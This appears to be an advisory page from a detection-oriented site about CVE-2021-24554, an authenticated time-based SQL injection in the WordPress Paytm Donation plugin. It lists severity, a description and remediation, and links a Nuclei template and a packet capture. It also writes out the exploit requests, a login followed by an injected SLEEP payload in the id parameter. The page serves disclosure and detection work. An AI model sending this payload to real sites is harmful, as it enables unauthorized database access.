🔙 목록으로 돌아가기

CVE-2021-24554: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection

TitleWordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
RemediationUpdate to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
CVSS Score7.2
EPSS Score0.40697
CVE IDCVE-2021-24554
CWE IDCWE-89
Tags time-based-sqli cve cve2021 sqli wordpress wp-plugin wp wp-paytm-pay wpscan freelancetoindia vuln

🔍 Vulnerability Description

WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=U1nib9&pwd=wo5bFU&wp-submit=Log+In
GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24554.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24554.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A